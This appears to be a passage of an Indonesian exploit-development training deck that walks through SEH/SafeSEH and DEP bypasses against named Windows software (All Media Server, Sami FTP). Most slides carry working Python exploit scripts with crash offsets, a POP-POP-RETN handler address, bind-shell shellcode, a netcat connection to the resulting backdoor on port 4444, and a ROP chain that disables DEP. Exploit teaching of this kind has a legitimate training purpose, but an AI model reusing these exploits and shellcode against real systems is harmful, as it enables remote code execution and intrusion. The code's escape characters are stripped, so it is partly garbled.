  • 25. Jika anda perhatikan teliti, pada kondisi non seh kita dapat langsung melakukan langsung melompat ke ESP karena dalam ESP sudah terdapat NOP + shellcode. Tetapi berbeda pada kondisi software yang mengimplementasikan SEH. Pada ESP terdapat alamat, bukan nop atau shellcode kita. SEH and SafeSEH Bypassing Theory Perhatikan tumpukan data pada stack berikut ini : • Tumpukan pertama 0x7C9032A8 merupakan alamat untuk memunculkan kondisi error yang akan dilempar ke fungsi SEH. • Tumpukan kedua 0x022BF618 merupakan alamat eksekusi SEH. • Tumpukan 0x022BFD74 ketiga merupakan dimana data kita berada (shellcode). Sehingga yang kita perlukan adalah bagaimana agar kita bisa mengeksekusi alamat 0x022BFD74 yang berada di tumpukan ketiga. Kita dapat mengarahkan SEH handler ke intruksi : • Intruksi POP pertama adalah mengeluarkan tumpukan pertama yakni 0x7C9032A8. • Intruksi POP kedua adalah mengeluarkan tumpukan kedua yakni 0x022BF618. • Dan intruksi RETN akan kembali ke alamat tumpukan ketiga yakni 0x022BFD74 dan mengeksekusi intruksi dalam alamat tersebut (shellcode). Testing SEH or SafeSEH Protection Peserta diharapkan mencoba langsung melakukan debugging dan exploitasi software (SEH) dengan metode classic stack overflow untuk lebih memahami mekanisme bypass yang akan dibahas berikutnya. Pertama kita harus melakukan fuzzing atau fuzz testing seperti biasanya, berikut adalah script fuzzer dari software All Media Server. Copyright By Hatsecure Advanced Exploit Development SEH (ESP) 7C 90 32 A8 02 2B F6 18 02 2B FD 74 02 2B F6 34 02 2B F5 EC POP register 32 bit POP register 32 bit RETN
  • 26. Jalankan aplikasi All Media Server melalui immunity debugger. Kemudian klik switch online seperti pada gambar di bawah ini : Jalankan script fuzzer : Copyright By Hatsecure Advanced Exploit Development #!/usr/bin/python import socket data = “A” * 1500 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,888)) s.send(data) s.close() root@kali:~# python allmedia.py
  • 27. Setelah script fuzzer dijalankan, software mengalami crash Access Volation, dan EIP register tidak ter-overwrite secara langsung (break sementara). Dan buka SEH chain, pada menu view kemudian pilih SEH chain Copyright By Hatsecure Advanced Exploit Development
  • 28. Pada SEH chain kita berhasil merubah nilai didalamnya, sehingga ketika program crash akan di lempar ke alamat 0x41414141 namun karena alamat itu tidak ada maka program kemudian crash. Exercise Lakukan percobaan debugging dan memahami mekanisme SEH. All Media Server Vulnerability Dari percobaan sebelumnya kita sudah dapat mengetahui pertanda celah di All Media Server. Disini kita akan melanjutkan tahapan berikutnya untuk mengetahui berapa karakter agar bisa mencapai SEH Chain menggunakan pattern_create.rb. Melalui terminal kali linux, jalankan perintah : Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools/ root@kali:~# ./pattern_create.rb 1500 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac 2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7 Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj 0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2A l3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5 An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap 8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0A s1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3 Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw 6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8A y9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1 Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd 4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6B f7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9 Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk 2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4B m5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7 Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br 0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5 Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx 8Bx9
  • 29. Copy kombinasi karakter diatas kedalam script fuzzer, sehingga menjadi : Restart immunity debugger, kemudian jalankan kembali All Media Server melalui software immunity debugger. Jangan lupa switch online agar port 888 terbuka. Jalankan script fuzzer : Copyright By Hatsecure Advanced Exploit Development #!/usr/bin/python import socket data = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1A c2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4 Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag 7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9A j0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2 Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An 5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7A p8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0 As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au 3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5A w6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8 Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb 1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3B d4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6 Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh 9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1B k2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4 Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo 7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9B r0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2 Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv 5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7B x8Bx9” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,888)) s.send(data) s.close() root@kali:~# python allmedia.py
  • 30. Setelah crash, lihat kembali pada SEH chain. Kita sudah berhasil merubah nilai dalam SEH chain, selanjutnya kita tentukan berapa karakter untuk mencapai SEH chain dengan pattern_offset.rb. Dapat disimpulkan bahwa sebanyak 1076 karakter dapat memenuhi variabel lokal dan tambah 4 karakter untuk memenuhi SEH chain. Langkah selanjutnya adalah mencari alamat dari module yang didalamnya terdapat intruksi POP, POP, RETN. Module Intruction Mapping Sebelum melanjutkan ke tahap pencarian perlu anda pahami tentang SafeSEH. SafeSEH sendiri adalah linker option yang digunakan programmer saat melakukan kompilasi. Fungsi SafeSEH adalah menjaga alamat register dari SEH didalam sebuah module. Ketika terjadi exploitasi pada SEH menggunakan metode POP, POP, RETN, maka SafeSEH akan melakukan pengecekan apakah alamat return dari SEH sama dengan yang ada didalam module SafeSEH, jika berbeda SafeSEH akan memaksa untuk kembali ke alamat return semula. Dalam hal ini artinya kita tidak bisa menggunakan module yang memiliki SafeSEH. Kita dapat gunakan perintah immunity debugger untuk mencari module apa saja yang non safe she. Berikut adalah perintahnya : Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools/ root@kali:~# ./pattern_create.rb 396A4238 [*] Exact match at offset 1076 !mona nosafeseh
  • 31. Mungkin anda dapat mencobanya sendiri pada komputer, karena hasil screenshot sangat kecil. Intinya pada software All Media Server terdapat 4 module, namun hanya 1 yang memiliki intruksi POP, POP, RETN yaitu module avformat-53.dll. Selanjutnya adalah memulai pencarian, klik view dan pilih executable modules. Pilih avformat-53.dll lalu klik enter. Kita kemudian akan diarahkan ke segmen module. Copyright By Hatsecure Advanced Exploit Development
  • 32. Carilah intruksi POP, POP, RETN dengan tombol CTRL+S. Klik Find, akan muncul intruksi yang kita cari. Alamat yang kita dapat adalah 0x6AB01671. Sekarang tambahkan ke dalam script fuzzer sebelumnya. Dan tambahkan shellcode didalamnya. Copyright By Hatsecure Advanced Exploit Development
  • 33. Copyright By Hatsecure Advanced Exploit Development #!/usr/bin/python import socket, struct data = “x90” * 1076 seh_handler = struct.pack(“<I”, 0x6AB01671) nop = “x90” * 20 shellcode = ("xb8x99xc3x44x9cxd9xe9xd9x74x24xf4x5fx29xc9" + "xb1x56x31x47x13x83xc7x04x03x47x96x21xb1x60" + "x40x2cx3ax99x90x4fxb2x7cxa1x5dxa0xf5x93x51" + "xa2x58x1fx19xe6x48x94x6fx2fx7ex1dxc5x09xb1" + "x9exebx95x1dx5cx6dx6ax5cxb0x4dx53xafxc5x8c" + "x94xd2x25xdcx4dx98x97xf1xfaxdcx2bxf3x2cx6b" + "x13x8bx49xacxe7x21x53xfdx57x3dx1bxe5xdcx19" + "xbcx14x31x7ax80x5fx3ex49x72x5ex96x83x7bx50" + "xd6x48x42x5cxdbx91x82x5bx03xe4xf8x9fxbexff" + "x3axddx64x75xdfx45xefx2dx3bx77x3cxabxc8x7b" + "x89xbfx97x9fx0cx13xacxa4x85x92x63x2dxddxb0" + "xa7x75x86xd9xfexd3x69xe5xe1xbcxd6x43x69x2e" + "x03xf5x30x27xe0xc8xcaxb7x6ex5axb8x85x31xf0" + "x56xa6xbaxdexa1xc9x91xa7x3ex34x19xd8x17xf3" + "x4dx88x0fxd2xedx43xd0xdbx38xc3x80x73x92xa4" + "x70x34x42x4dx9bxbbxbdx6dxa4x11xc8xa9x6ax41" + "x99x5dx8fx75x0cxc2x06x93x44xeax4ex0bxf0xc8" + "xb4x84x67x32x9fxb8x30xa4x97xd6x86xcbx27xfd" + "xa5x60x8fx96x3dx6bx14x86x42xa6x3cxc1x7bx21" + "xb6xbfxcexd3xc7x95xb8x70x55x72x38xfex46x2d" + "x6fx57xb8x24xe5x45xe3x9ex1bx94x75xd8x9fx43" + "x46xe7x1ex01xf2xc3x30xdfxfbx4fx64x8fxadx19" + "xd2x69x04xe8x8cx23xfbxa2x58xb5x37x75x1exba" + "x1dx03xfex0bxc8x52x01xa3x9cx52x7axd9x3cx9c" + "x51x59x4cxd7xfbxc8xc5xbex6ex49x88x40x45x8e" + "xb5xc2x6fx6fx42xdax1ax6ax0ex5cxf7x06x1fx09" +
  • 34. Restart immunity debugger, kemudian jalankan kembali All Media Server melalui immunity debugger. Break pada alamat 0x6AB01671 langkah ini diperlukan untuk analisa shellcode apakah akan dieksekusi dengan baik atau tidak. Setelah itu baru dijalankan kembali exploit yang telah kita buat tadi. Copyright By Hatsecure Advanced Exploit Development root@kali:~# python allmedia.py "xf7xb5x20x18" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,888)) s.send(data+seh_handler+nop+shellcode) s.close()
  • 35. Jika masih terjadi access volation, itu tidak masalah. Tekan SHIFT+F9 untuk melanjutkan. Dan kemudian kita diarahkan ke POP pertama. Untuk melanjutkan tekan F7. Dan untuk POP kedua kita tekan lagi F7. Copyright By Hatsecure Advanced Exploit Development
  • 36. Dan intruksi RETN juga kita lanjutkan dengan tombol F7. Hingga kita akan diarahkan ke lokasi keberadaan payload kita. Dari gambar diatas ada kejanggalan yakni muncul intruksi JNO SHORT 0216FD90. Padahal seharusnya kita cuman mengisi NOP+SHELLCODE. Jika di perhatikan dengan jeli ternyata intruksi tersebut berasal dari 0x7116B06A alamat ini ternyata berasal dari yang kita masukkan yakni 0x6AB01671. Jadi kesimpulannya kita diarahkan ke byte 1072 bukan langsung ke NOP yang ada di shellcode. Tapi tidak menjadi masalah asalkan shellcode kita berjalan. Alangkah baiknya kita loncati agar intruksi JNO SHORT tidak tereksekusi. Kita dapat menggunakan intruksi JUMP SHORT 10 untuk meloncatinya. Sehingga gambaran paling mudah seperti gambar dibawah ini : Copyright By Hatsecure Advanced Exploit Development
  • 37. Untuk mendapakan opcode dari intruksi JMP SHORT 10 kita bisa menggunakan nasm shell bawaan dari metasploit. Dan kita dapatkan opcode-nya yaitu xebx08. Dan tinggal kita tambahkan ke dalam exploit kita menjadi : Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools root@kali:~# ./nasm_shell.rb nasm > JMP SHORT 10 00000000 EB08 jmp short 0xa nasm > #!/usr/bin/python import socket, struct, time , os data = “x90” * (1076-2) #Agar data+jmpshort = 1076 karakter jmpshort = “xebx08” seh_handler = struct.pack(“<I”, 0x6AB01671) nop = “x90” * 20 shellcode = ("xb8x99xc3x44x9cxd9xe9xd9x74x24xf4x5fx29xc9" + "xb1x56x31x47x13x83xc7x04x03x47x96x21xb1x60" + "x40x2cx3ax99x90x4fxb2x7cxa1x5dxa0xf5x93x51" + "xa2x58x1fx19xe6x48x94x6fx2fx7ex1dxc5x09xb1" + "x9exebx95x1dx5cx6dx6ax5cxb0x4dx53xafxc5x8c" + "x94xd2x25xdcx4dx98x97xf1xfaxdcx2bxf3x2cx6b" + "x13x8bx49xacxe7x21x53xfdx57x3dx1bxe5xdcx19" + "xbcx14x31x7ax80x5fx3ex49x72x5ex96x83x7bx50" + "xd6x48x42x5cxdbx91x82x5bx03xe4xf8x9fxbexff" + "x3axddx64x75xdfx45xefx2dx3bx77x3cxabxc8x7b" + "x89xbfx97x9fx0cx13xacxa4x85x92x63x2dxddxb0" + "xa7x75x86xd9xfexd3x69xe5xe1xbcxd6x43x69x2e" + "x03xf5x30x27xe0xc8xcaxb7x6ex5axb8x85x31xf0" + "x56xa6xbaxdexa1xc9x91xa7x3ex34x19xd8x17xf3" + "x4dx88x0fxd2xedx43xd0xdbx38xc3x80x73x92xa4" +
  • 38. Ketika exploit diatas dijalankan kita akan langsung mendapatkan akses shellcode pada port 4444. Copyright By Hatsecure Advanced Exploit Development "x70x34x42x4dx9bxbbxbdx6dxa4x11xc8xa9x6ax41" + "x99x5dx8fx75x0cxc2x06x93x44xeax4ex0bxf0xc8" + "xb4x84x67x32x9fxb8x30xa4x97xd6x86xcbx27xfd" + "xa5x60x8fx96x3dx6bx14x86x42xa6x3cxc1x7bx21" + "xb6xbfxcexd3xc7x95xb8x70x55x72x38xfex46x2d" + "x6fx57xb8x24xe5x45xe3x9ex1bx94x75xd8x9fx43" + "x46xe7x1ex01xf2xc3x30xdfxfbx4fx64x8fxadx19" + "xd2x69x04xe8x8cx23xfbxa2x58xb5x37x75x1exba" + "x1dx03xfex0bxc8x52x01xa3x9cx52x7axd9x3cx9c" + "x51x59x4cxd7xfbxc8xc5xbex6ex49x88x40x45x8e" + "xb5xc2x6fx6fx42xdax1ax6ax0ex5cxf7x06x1fx09" + "xf7xb5x20x18" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,888)) s.send(data+jmpshort+seh_handler+nop+shellcode) s.close() time.sleep(1) #Menunggu 1 detik os.system(“nc 192.168.56.101 4444”) #Mengubungkan ke backdoor
  • 39. Conclusion Kita dapat meloloskan mekanisme SEH dengan mengarahkan SEH handler ke alamat POP,POP, RETN dengan syarat bahwa module yang kita gunakan tidak di proteksi SafeSEH. Copyright By Hatsecure Advanced Exploit Development
  • 40. 0x03 Bypassing Data Execution Prevention Objective • Memahami mekanisme DEP • Memahami proteksi DEP • Memahami Return Oriented Programming • Mampu mengalahkan proteksi DEP dengan ROP Overview Data Execution Prevention (DEP) merupakan teknologi proteksi yang digunakan untuk mencegah serangan-serangan oveflow. Konsepnya sistem akan mencegah aplikasi atau service mengeksekusi area non-executable memory. Dengan adanya teknologi proteksi ini kita tidak akan bisa mengeksekusi shellcode yang berada didalam stack. Data Execution Prevention Untuk mengaktifkan fitur ini : 1. Click kanan di My Computer 2. Pilih tab "Advanced" 3. Lihat bagian "Performance" lalu pilih "Settings" 4. Pilih tab "Data Execution Prevention" 5. Pilih "turn on DEP for all programs and services except those I select" 6. OK, lalu restart komputer anda. DEP Bypassing Theory Jika kita dapat merubah nilai didalam EIP register kita masih memiliki kesempatan untuk memaksa sistem operasi agar menonaktifkan DEP kemudian mengeksekusi shellcode kita. Copyright By Hatsecure Advanced Exploit Development
  • 41. Testing Data Execution Prevention Peserta bisa mencoba melakukan serangan dengan metode classic stack overflow biasa pada Sistem Operasi (DEP aktif). Case Of Study : Sami FTP Vulnerability Ada beberapa command yang memiliki celah keamanan yakni “PUT”. Kita dapat memanfaatkan celah ini dengan serangan classic overflow. Tetapi pada kondisi DEP aktif kita perlu metode tambahan untuk memaksa sistem operasi mematikan fitur DEP. Case Of Study : Sami FTP Vulnerability Berikut adalah script fuzzer : Copyright By Hatsecure Advanced Exploit Development import socket, struct, sys target = “192.168.56.101” port = 21 fuzz = "x41" * 217 eip = "BBBB" esp = “x90” * 1000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((str(target),int(port))) s.recv(1024) print "[X] Logged in" s.send("USER hatsecurern") s.recv(1024) s.send("PASS hatsecurern") s.recv(1024) s.send("SYSTrn") system = s.recv(1024)
  • 42. Return Oriented Programming Metode yang lebih dikenal ROP ini sering digunakan oleh praktisi keamanan untuk mencoba mengalahkan DEP. Ketika kita mengingat metode bypass SEH, sebenarnya kita sudah membuat ROP sederhana (one line) yakni POP, POP, RETN. Semua intruksi yang diakhiri RETN digolongkan ROP. Untuk intruksi apa saja yang diperlukan untuk menonaktifkan DEP yaitu : • Alamat intruksi : POP EDI, RETN • Alamat intruksi : POP ESI, RETN • Alamat intruksi : POP EBP, RETN • Alamat intruksi : POP EBX, RETN • Alamat intruksi : INC, RETN • Alamat intruksi : PUSHAD, RETN • Alamat intruksi : RETN Alamat tersebut dapat anda cari pada executable modules saat debugging Sami FTP. Sehingga anda perlu menjalankan immunity debugger, lalu buka file PMSystem.exe (Sami FTP). Copyright By Hatsecure Advanced Exploit Development print "[X] Detected "+system print "[X] Sending payload" s.send("PUT "+fuzz+eip+esp+"rn") s.recv(1024) s.close()
  • 43. Klik Executable modules, anda dapat memilih module apa saja. Sebagai contoh disini pertama akan mencari pada module user32.dll. Dan untuk memulai pencarian tekan tombol CTRL+S Copyright By Hatsecure Advanced Exploit Development
  • 44. Maka akan muncul intruksi yang kita butuhkan : Defeating DEP with ROP Carilah intruksi-intruksi lain yang diperlukan, disini akan kita asumsikan bahwa : • Alamat intruksi : POP EDI, RETN = 0x7E41E9F6 • Alamat intruksi : POP ESI, RETN = 0x7E414238 • Alamat intruksi : POP EBP, RETN = 0x7E4185BB • Alamat intruksi : POP EBX, RETN = 0x7E422DFF • Alamat intruksi : PUSHAD, RETN = 0x7E423AD9 • Alamat intruksi : INC EBX, RETN = 0x7CB30B7E • Alamat intruksi : RETN = 0x7E423ADA Untuk menonaktifkan DEP, kita menggunakan fungsi SetProcessDEPPolicy melalui aplikasi DLLExplorer : Copyright By Hatsecure Advanced Exploit Development
  • 45. Dan parameter dari fungsi ini : SetProcessDEPPolicy(0) untuk mematikan DEP sementara. Alamat SetProcessDEPPolicy() adalah 0x7C862144 Sehingga proses yang kita perlukan bagaimana agar bisa mengarahkan EIP untuk mengeksekusi fungsi SetProcessDEPPolicy() dengan parameter yang benar. Disini akan di contohkan ROP sederhana : Returning into our shellcode Jadi ketika di implementasikan pada exploit kita, akan menjadi : Copyright By Hatsecure Advanced Exploit Development eip = struct.pack(“<I”, 0x7E423ADA) #EIP mengeksekusi intruksi RETN ROP = struct.pack("<I", 0x7E41E9F6) #POP EDI, RETN ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimas$ ROP += struct.pack("<I", 0x7E414238) #POP ESI, RETN ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimas$ ROP += struct.pack("<I", 0x7E4185BB) #POP EBP, RETN ROP += struct.pack("<I", 0x7C862144) #SetProccessDEPPolicy di POP =>$ ROP += struct.pack("<I", 0x7E422DFF) #POP EBX, RETN ROP += struct.pack("<I", 0xFFFFFFFF) #Nilai ini dikeluarkan & dimasu$ ROP += struct.pack("<I", 0x7CB30B7E) #INC EBX, RETN ROP += struct.pack("<I", 0x7E423AD9) #PUSHAD #Tujuan inc ebx, retn adalah menambahkan 1 nilai pada EBX, sebelumnya EBX nilainya adalah #0xFFFFFFFF + 1 = 0 #Nilai 0 dibutuhkan untuk membuat parameter SetProcessDEPPolicy() menjadi false. #Maksudnya agar membuat => SetProcessDEPPolicy(0) import socket, struct, sys target = “192.168.56.101” port = 21 fuzz = "x41" * 217 eip = struct.pack(“<I”, 0x7E423ADA) #EIP mengeksekusi intruksi RETN ROP = struct.pack("<I", 0x7E41E9F6) #POP EDI, RETN ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimasukkan ke EDI ROP += struct.pack("<I", 0x7E414238) #POP ESI, RETN ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimasukkan ke ESI
  • 46. Diatas kita menggunakan shellcode dengan ukuran kecil karena pada Sami FTP kita tidak bisa menuliskan shellcode lebih dari 273 byte. Sehingga jika kita menggunakan generator msfvenom, hasil shellcodenya diatas 320 byte. Copyright By Hatsecure Advanced Exploit Development padding = "BBBB" * 4 ROP += struct.pack("<I", 0x7E4185BB) #POP EBP, RETN ROP += struct.pack("<I", 0x7C862144) #SetProccessDEPPolicy di POP =>EBP ROP += struct.pack("<I", 0x7E422DFF) #POP EBX, RETN ROP += struct.pack("<I", 0xFFFFFFFF) #Nilai ini dikeluarkan & dimasukkan ke EBX ROP += struct.pack("<I", 0x7CB30B7E) #INC EBX, RETN ROP += struct.pack("<I", 0x7E423AD9) #PUSHAD esp = “x90” * 100 shellcode = (“x60x31xc0x31xdbx31xc9x31xd2xbfxeax07x45x7ex50x68x49x4ex46x 4fx89xe3x50x68x2ex2ex2ex2ex68x68x61x68x61x68x48x61x68x61x89 xe1x50x53x51x50xffxd7x61x31xC0x50xBFxFAxCAx81x7CxFFxD7”) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((str(target),int(port))) s.recv(1024) print "[X] Logged in" s.send("USER hatsecurern") s.recv(1024) s.send("PASS hatsecurern") s.recv(1024) s.send("SYSTrn") system = s.recv(1024) print "[X] Detected "+system print "[X] Sending payload" s.send("PUT "+fuzz+padding+eip+ROP+esp+shellcode+"rn") s.recv(1024) s.close()
  • 47. Conclusion Dengan adanya proteksi DEP kini exploitasi overflow menjadi lebih sulit dibanding sebelumnya. Akan tetapi proteksi ini masih bisa dimatikan menggunakan metode return oriented programming. Copyright By Hatsecure Advanced Exploit Development
  • 48. 0x03 Bypassing ASLR in windows 7 Objective • Memahami mekanisme ASLR • Memahami metode sederhana untuk exploitasi dengan ASLR aktif Overview ASLR merupakan mekanisme pengacakan tata letak ruang alamat yang berupa pengaturan area data utama secara acak, biasanya meliputi basis eksekusi dan posisi dari library, heap, dan stack dalam ruang alamat proses itu. ASLR ini menghambat beberapa jenis serangan keamanan dengan membuat lebih sulit bagi penyerang untuk memprediksi alamat target. ASLR Bypass Theory Saat ini ada beberapa teori dan teknik untuk meloloskan ASLR. Yang sering digunakan antaralain : • Module non aslr : EIP diarahkan ke module non aslr. (very easy) • Static memory : Dengan memanfaatkan memori dengan alamat statis (medium) Copyright By Hatsecure Advanced Exploit Development
  • 49. Terimakasih telah membaca modul ini, untuk materi selengkapnya bisa dengan mengikuti training “advanced exploit development” Syllabus baru kami dapat di unduh di : Advanced Exploit Development (Premier Class) http://www.hatsecure.com/download/premier.pdf Advanced Exploit Development (Mega Premier Class) http://www.hatsecure.com/download/megapremier.pdf Training ini akan dibuka mulai agustus atau september 2013 Copyright By Hatsecure Advanced Exploit Development

×